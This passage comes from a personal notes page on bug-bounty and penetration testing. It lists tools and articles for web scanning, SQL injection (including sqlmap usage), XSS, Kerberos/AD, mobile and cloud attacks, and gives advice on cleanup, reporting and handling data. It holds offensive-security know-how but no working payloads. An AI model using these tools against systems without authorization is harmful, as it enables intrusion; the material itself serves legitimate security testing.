maK- / parameth
Yeah Hub's "Parameth - a tool for brute discover GET/POST Parameters"
- PortSwigger / backslash-powered-scanner:
List of parameter names to try. - Nikto:
Nikto2
OccupyTheWeb's "How to Find Vulnerabilities for Any Website Using Nikto"
- w3af:
w3af
w3af's documentation
andresriancho / w3af
- WebSlayer:
Edge-Security's WebSlayer
- WAScan:
m4ll0k / WAScan
- fimap:
For File Inclusion testing.
GitLab / fimap
- Burp can do some of this.
- parameth:
- Attack application code and logic:
More complicated attacks (XSS, SQLi, etc).
What is the structure of a web page ? Is the application using frameworks ?
Katie Explains: Modern Web Development (video)
Are there iframes ? Is there messaging among parts of a page ? Is data on app server being changed via form posts, or page-gets ? How are sessions identified ?
A key thing is to track where inputs go to, what they affect. Are they sanitized ? How are special characters handled ? Do inputs change tags on the page ? How are they sent down to the app server ?
Sanitizing/escaping probably should be done differently for URLs, form fields, and variables. If they're all done the same way, probably one of them is vulnerable.
If you have accounts with different levels of privilege, try doing all operations as the high-privilege user, then log out, log in as low-privilege user, and replay all the operations (changing session ID or CSRF token to new value).
See "Penetration Testing and Bug-Bounty Hunting Attacks" page.
- ADAPT:
secdec / adapt
- XSSHunter:
Often used to send a payload through the web app to be executed on a back-office/internal app.
XSS Hunter
mandatoryprogrammer / xsshunter
From Peter Yaworski's "Web Hacking 101 - How to Make Money Hacking Ethically":
"After signing up for XSSHunter, you get a special xss.ht short domain which identifies your XSS and hosts your payload. When the XSS fires, it will automatically collects information about where it occurred and will send you an email notification."
Matthew Bryant's "XSS Hunter - A Modern Approach to Testing for Cross-site Scripting (XSS)"
- KNOXSS:
KNOXSS
Emad Shanab's "KNOXSS for Dummies"
- XSStrike:
s0md3v / XSStrike
- Commix:
Command-injection attacks.
commixproject / commix
Hacking Articles' "Commix-Command Injection Exploiter (Beginner's Guide)"
Commix articles in Hacking Articles' "Web Penetration Testing"
DRD_'s "Use Commix to Automate Exploiting Command Injection Flaws in Web Applications"
- fimap:
File-inclusion bugs in pages using PHP.
imax / fimap
- Wapiti:
Wapiti
- Grabber:
Grabber
- HconSTF:
HconSTF
Guru99's "How to Hack a Website: Online Example"
Netsparker ($5K per year)
Acunetix ($9K)
Probe.ly (free for VERY limited version, about $500/year for "Starter" version)
HTTPCS (about $650/year for "Basic" version)
IronWASP (free; essentially Windows-based; latest release in 2015)
Try to find the biggest scope for the bug. Multiple browsers, multiple OS's, desktop and mobile, multiple versions, multiple countries, multiple users, etc.
Tools for specific targets
- WordPress:
A site hosted on the commercial Wordpress.com service is very unlikely to be vulnerable. But a self-hosted Wordpress site may well be misconfigured, un-patched, running vulnerable plug-ins, etc.
- WPScans:
WPSec (formerly WPScans)
- WPScan (WordPress vulnerability scanner):
WPScan
OccupyTheWeb's "How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)"
cyc10n3 / WPScan_Web_Interface
- Plecost:
iniqua / plecost
- WordPress Exploit Framework:
rastating / wordpress-exploit-framework
- HackerTarget's "WordPress Security Scan":
Passive scan is free; active scan costs $120/year.
WordPress Security Scan
- WPDoctor:
WPDoctor
- WPSeku (WordPress vulnerability scanner):
WPSeku
Aaron Kili's "WPSeku - A Vulnerability Scanner to Find Security Issues in WordPress"
- Zoom:
If WP-JSON API is exposed, usernames can be enumerated.
krashman / Zoom
bdoner / Zoom
- WPScans:
- CMSmap:
Detects security flaws of the most popular CMSs (WordPress, Joomla, Drupal and Moodle). CMSmap
- CMSScan:
ajinabraham / CMSScan
- Flashbang:
Analyze Flash files.
Also a web site: Flashbang
- SWFTools:
Analyze Flash files.
- PDF files:
Metasploit has modules for creating malicious PDF files.
The Security Blogger's "Distributing malware inside Adobe PDF documents"
Gurubaran S's "Creating and Analyzing a Malicious PDF File with PDF-Parser Tool"
Lenny Zeltser's "6 Free Local Tools for Analyzing Malicious PDF Files"
Other file types that can be malicious: Office, SVG, Postscript. - SQL:
- sqlmap:
Akash's "Website Hacking - SQL Injections - Sqlmap Introduction"
Sqlmap articles in Hacking Articles' "Web Penetration Testing"
OccupyTheWeb's "Hacking MySQL Online Databases with Sqlmap"
OccupyTheWeb's "Extracting Data from Online Databases Using Sqlmap"
sqlmap -l to parse a Burp log file.
SQLiPy plug-in for Burp.
SQLMap Tamper Scripts (SQL Injection and WAF bypass)
Raj Chandel's "Configure Sqlmap for WEB-GUI in Kali Linux"
From discussion on reddit:
Frequently you have to tweak sqlmap CLI options to successfully exploit sql injection. In my experience it rarely works with default settings. Try things like setting the db type, level, and risk, and see if that helps. You may also need to tweak other things like prefix and suffix.
> Generally it works for me if I simply say "sqlmap -o -u URL".
That's worked for me mostly in intentionally vulnerable stuff like Vulnhub and Hackthebox.eu, but in real world webapp pentests it has almost always required more than that.
- SQLSmack:
SQLSmack, a UNIX Based Remote Command Execution for MSSQL (after you have a DB login)
- SQLPing:
SQLSecurity.com
- Havij:
Ranjith's "Havij Download - Advanced Automated SQL Injection Tool"
- Tyrant-SQL:
aron-bordin / Tyrant-Sql
- sqlninja:
sqlninja
- sqlmap:
- BeEF (Browser Exploitation Framework):
BeEF project
OccupyTheWeb's "How to Hack Web Browsers with BeEF"
EX1S7's "Got Beef? Getting Started with BeEF"
Th3skYf0x's "Use beEF (Browser Exploitation Framework)"
LiveOverflow's "New Series: Getting Into Browser Exploitation"
- ExtAnalysis (analyze browser extensions):
Tuhinshubhra / ExtAnalysis
- Windows:
Aidan Preston's "Windows Notes / Cheatsheet"
- GitHub:
- Cloud / Container Tools:
- Amazon Web Services (AWS):
Joshua Thijssen's "Amazon Web Services" (one-line description of each service)
PinkP4nther's "Notes as I learn basic AWS penetration testing"
Chris McQuaid's "Hacking AWS"
Chris McQuaid's "Exploiting Common Serverless Security Flaws in AWS"
CloudSploit's "A Technical Analysis of the Capital One Hack"
toniblyx / my-arsenal-of-aws-security-tools
Rhino Security Labs' "Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT)"
Andres Riancho's "Step by step AWS Cloud Hacking"
- Kubernetes:
Sayak Boral's "What Is Kubernetes?"
Adnan Rahic's "A Kubernetes quick start for people who know just enough about Docker to get by"
Faizan Bashir's "A friendly introduction to Kubernetes"
Gabriel Avner's "Kubernetes Pod Security Policy Best Practices"
Or Ida's "Kubernetes Pentest Methodology Part 1"
AtredisPartners_Attacking_Kubernetes-v1.0.pdf
averonesis / kubolt
- Docker:
Victor Pasknel's "Attacking Docker Environments"
- Amazon Web Services (AWS):
- SOAP:
Wikipedia's "SOAP"
SOAP-based web services are self-documenting via WSDL files.
- SoapUI:
SoapUI
- SoapUI:
- APIs:
xyele / zile (extract API keys from file or URL)
- Mobile App Tools:
- Mobile Security Framework (MobSF):
MobSF / Mobile-Security-Framework-MobSF
- Syntribos:
Do Son's "syntribos: An Automated API Security Testing Tool"
- Drozer:
F-Secure's "Drozer"
Romansh Yadav's "Drozer! The Game changer tool for android pentesting"
Cristian R's "Using the drozer framework for Android Pentesting"
Yasho's "Digging into Android Applications - Part 1 - Drozer + Burp"
Aditya Dixit's "Android Pentesting CheatSheet"
- OWASP ZAP:
OWASP Zed Attack Proxy (ZAP)
zaproxy's "FAQmobile"
thezero's "Intercepting Android traffic using OWASP ZAP"
Omer Levi Hevroni's "Debugging iOS apps with Zaproxy"
- Frida:
Frida
John Kozyrakis' "Using Frida on Android without root"
Laura Garcia and Marta Barrio's "Mobile Pentesting with Frida"
NotSoSecure / Android Application Analyzer
erev0s's "How to hook Android Native methods with Frida"
Fridump
- Phonesploit:
metachar / PhoneSploit
Nightfury's "How hackers can hack android phones with phonesploit"
- Yaazhini:
Yaazhini - Free Android APK & API Vulnerability Scanner
Windows and Mac only.
- StaCoAn:
vincentcox / StaCoAn
Looks for interesting lines in the code of an APK file.
- fufluns:
wargio / fufluns
Detects common fails in compiled apps for Android and iOS.
- apktool:
apktool
Extract resources from an APK file and decode them.
- super (Secure, Unified, Powerful and Extensible Rust Android Analyzer):
SUPER Android Analyzer
SUPERAndroidAnalyzer / super
Looks for vulnerabilities in an APK file.
- Android-Disassembler:
KYHSGeekCode / Android-Disassembler
Hacker101 - Mobile Hacking Crash Course (video)
OWASP Bay Area "Mobile AppSec 101" (video)
Google's "Android App Hacking Workshop"
Romansh Yadav's "Setting up an Android Pentesting Environment"
Minali Arora's "Android Application Security and Penetration Testing"
sbrws's "Android App Pentesting Quickstart"
nightowl131's "AAPG: Android Application Pentest Guide"
Android Tamer's "Learn Android Security"
daddycocoaman's "Bug Bounty Adventures: This Is the Wrong Porn!"
Arxan's "In Plain Sight: The Vulnerability Epidemic in Financial Mobile Apps" (PDF)
Galilei's "Android Penetration Testing Courses"
Danny Rosseau's "Android Hard Coded Secrets"
Noobie BoY's "Android Pen-testing / Hunting 101"
Adrian Defus's "Android applications security - part 1, reverse engineering and token storage problems"
phonexicum's "Android-security"
abhi-r3v0 / EVABS (intentionally vulnerable Android application)
Max Kersten's "AndroidProjectCreator"
wolfshirtz's "Android Reverse Engineering: Broadlink econtrol"
Yasoob Khalid's "Let's Reverse Engineer an Android App!"
Sahil Ahamad's "Basic Android Security Testing lab - 1"
Joshua Jebaraj's "How do I automate the environment setup for android pentesting using simple bash scripts"
Ashari Juang's "How to Use Burp Suite for Mobile App Testing"
Laconic Wolf's "Using Burp Suite with Android devices"
Jonathan Crosby's "One Liner For Installing Burp Certificate Into Android Nougat and Later"
vaib25vicky / awesome-mobile-security
Michael Higgo's "Android Application Testing Using Windows 11 and Windows Subsystem for Android"
See Android Emulators section of my Using Linux page
See Using Adb (Android Debug Bridge) section of my Android page
Google's "ClassyShark" (analyze an Android/Java-based app/APK/game)
ImmuniWeb's "Mobile App Security Test"
If you have the app's source code:
Srinivas's "QARK - A tool for automated Android App Assessments"
See Mobile Attacks
If you can get a firmware download image for a device:
Areizen's "Reversing Android firmware to get secret codes"
For some devices where the manufacturer wants to encourage third-party applet development (smart TV, Amazon Echo, etc), there may be an emulator available.
- Mobile Security Framework (MobSF):
- Authentication and Authorization:
Authentication: confirm who someone is.
Authorization: know what that someone is allowed to do.
Sarah Jorgenson's "Overview of the top identity open standards used today"
HackEDU's "Analysis of Common Federated Identity Protocols"
StackExchange's "What is the difference between a RADIUS server and Active Directory?"
Eloy Perez's "Kerberos (I): How does Kerberos work? - Theory"
Eloy Perez's "Kerberos (II): How to attack Kerberos?"
Aidan Preston's "How To Attack Kerberos 101"
RedForce's "Oh, My Kerberos! Do Not Get Kerberoasted!"
TarlogicSecurity / tickey (extract Kerberos tickets from Linux kernel keys)
TarlogicSecurity / kerberos_attacks_cheatsheet.md
theVIVI (Gabriel)'s "A Red and Blue Guide to Popular AD Attacks" (PDF)
There are different implementations of Kerberos: Active Directory's and MIT's.
D00MFist's "RastaLabs Review" (lab for attacking AD)
Sebastian Peyrott's "Introduction to Web Authentication: The New W3C Spec"
Nils Amiet's "FIDO2: Solving the Password Problem"
Wikipedia's "WebAuthn"
WebAuthn
Bruno Krebs' "The OpenID Connect Handbook"
Ashish Mathur's "Dancing with OAuth: Understanding how Authorization Works"
Gaurav Narwani's "OAuth 2.0 Security"
Scott Brady's "OAuth is Not User Authorization"
Okhomiak's "The most common OAuth 2.0 Hacks"
epi's "How to Hunt Bugs in SAML; a Methodology"
ScriptDotSh's "Active Directory Pentesting"
Peyton Smith and Mitchell Moser's "Common Microsoft Active Directory Misconfigurations"
Moritz Bechler's "LDAP Swiss Army Knife"
Pen Test Partners' "Bloodhound walkthrough"
Andy Gill's "Bloodhound 2.1 - A Tool for Many Tradecrafts"
Riccardo Ancarani's "BloodHound Tips and Tricks"
- Browser extensions:
Tuhinshubhra / ExtAnalysis (Browser Extension Analysis Framework)
Parsia's "Testing Extensions in Chromium Browsers"
- ADAPT:
- Cleanup of the target system(s):
Keep good notes, so you can clean up at the end of the testing, or tell the target what was modified.
If there's something you can't clean up, notify the client/target so they can clean it up.
- Reporting:
- Report in some standard file format, probably Markdown.
- Start building your report as you test, don't leave it all until the end.
- Explain the severity and effects, for both developer and non-technical audiences.
Can the attacker steal money or PII ? Create fraudulent orders ?
Send messages to other users, to get them to transfer money or give up credentials or PII ?
Delete or corrupt or ransomware the database ?
This is critical; don't report a bug without it. You can't just say "well, I did XSS, your code let me pop up an alert". You have to say "I was able to grab THIS private information THIS way". - Don't report results you don't quite understand, from scans, in the hopes
that some of them gain a bounty. The company probably has done scans already.
Scanners are fairly unreliable. You don't want to
flood the company with false positives or incoherent reports. You need to drill
down manually on each item and get a clear understanding of it.
- Don't report some picky error or weakness, such as HTTP or CSP headers not as tight as they could be.
- Re-read the allowed scope and known (excluded) vulnerabilities, to make sure your bug is okay.
Vickie Li's "Out of Scope" - Double-check the bug, run it again from a clean state. If possible,
run it in a clean browser with no add-ons and no intercepting proxy.
If it's a mobile bug you found through an emulator, re-check using a real device.
If you found it on a rooted device, retry on a non-rooted device.
- Target may have a standard form for reporting bugs.
- Document clearly, with exact URLs and with pictures and video, for both vulnerability
and exploit (if separate). Assume that your report
will go to some triage person who isn't familiar with the app, then maybe to some junior programmer.
Don't rely on technical bug-bounty jargon or assume the developers know it.
- Document browser, OS, country, language, app version, etc if relevant. Make
sure you're on latest browser and OS, no browser add-ons are interfering, if these are relevant.
- If the bug is proven by exfiltrating user data, don't exfiltrate real data. Create a new independent account containing
dummy data and exfiltrate that data.
- Note the range of the bug. Are all web pages of the app vulnerable in the same way ?
Does it affect multiple users ? Does it affect admins ?
- Maybe refer to standard classifications, such as
Bugcrowd's Vulnerability Rating Taxonomy.
Some people say
CVSS
is not a good system to use.
OWASP Risk Assessment Calculator
- Maybe note any possible regulatory or legal impacts, but be careful, this is not your area of expertise.
- Maybe suggest a fix, but be careful, you may not know enough about the app.
- Don't editorialize or be harsh or advocate an urgent fix; let the facts speak for themselves.
- You're reporting to busy professionals in a business, who will decide
whether to give money to you. Write concisely and professionally, with correct grammar and spelling.
Format the report in some reasonable way, with headings and lists as appropriate.
Don't waste their time, or use hacker slang, or try to come across as a tough-guy hacker-wizard.
- It would be nice to have a second person proofread your report
and see if they understand it, but maybe that would violate confidentiality.
- Make sure your name and contact information is on the report. Copyright ?
Statement that this report is your work and opinion, not that of any company you might work for.
- If you've done anything to a production server that you were unable to clean up afterward,
explain and give details so the company can clean it up.
Be especially rigorous in your first few reports, when you're unsure of the process and trying to build a reputation.
If your report is rejected as a duplicate, in some programs you can ask to be added as a collaborator, to see the prior report and verify that yours really is a duplicate ?
Even if your report is rejected as a duplicate, or not serious, or out of scope, generally you are NOT free to disclose the issue publicly. If you really want to publish it, first get permission of both the target and the company running the bug-bounty program.
John Stauffacher's "Advice for Writing a Great Vulnerability Report"
Ryan Satterfield's "How To Write a Proof Of Concept For Security Holes"
Gwendal Le Coguic's "How to write a report"
Vickie Li's "How to Write a Better Vulnerability Report"
Google Bughunter University's "Improving your reports"
ZephrFish / BugBountyTemplates
SSD Secure Disclosure's "Report Template" (more intended for binaries ?)
Nicholas Handy's "Bug Reporting for Bug Bounties"
tolo7010's "Writing a good and detailed vulnerability report"
Bugcrowd University - How to Make a Good Bug Submission (video)
Melisa Wachs' "DOs and DON'Ts of Pentest Report Writing"
Brian B. King's "Your Reporting Matters: How to Improve Pen Test Reporting"
Pentester Land's "List of bug bounty writeups" (very uneven, more articles than reports, but ...)
- Report in some standard file format, probably Markdown.
- Post-Reporting:
Do you have a lot of the target's data saved on your systems ? That is a legal liability to you; you are responsible for protecting it, perhaps to standards dictated by GDPR or some other regulations. Probably best to delete all of it.
At some point, after ALL is done, you may even want to delete your report, or at least redact it to remove the target's sensitive data from it. What could happen if someone steals it from your system ? What could happen if the data is published (not because of a breach of your system), and there is an investigation of everyone (including you) who possessed that information ?
- Trying Again Later:
It's possible the target may want to make a fix and then have you re-test.
The same approach may work on previous targets you've attacked. So don't throw away info about your previous work, even unsuccessful work.
And as you go along, you're developing your own techniques and payloads. Maybe you can go back and use them against targets you previously tried.
clirimemini / Keye (tool to detect changes in pages)
SecTools.Org (a bit stale)
Pentesting Tutorials' "Pentesting Methodology Tutorial"
EdOverflow / bugbounty-cheatsheet / special-tools.md
Janidu Jayasanka's "Penetration Testing & Hacking Tools List for Hackers"
OnlineHashCrack (hash identifier)
TunnelsUp's "Hash Analyzer"
CyberChef
psypanda / hashID
Code Beautify (many converters, decryptors, validators)
MD5 conversion and MD5 reverse lookup (MD5 = 32 hex digits)
CrackStation (hash cracker)
Browserling's "Web Developer Tools"
Web Toolkit Online
bugbounty.link: URL-shortener that supports any protocol.
HTTPie: command-line HTTP client.
Miscellaneous
Questions / issues
- How is my home ISP going to react if they see me doing intensive scans of some web site on the public internet ?
TokyoNeon's "The White Hat's Guide to Choosing a Virtual Private Server" - May have to do port-forwarding in my home router to allow incoming connections.
- Would be best to have 3 machines:
- Daily desktop machine (stable, no incoming services, no open ports).
- Hacking machine (running Kali, or loaded up with tools).
- Target machine (running web server, web app, other targets).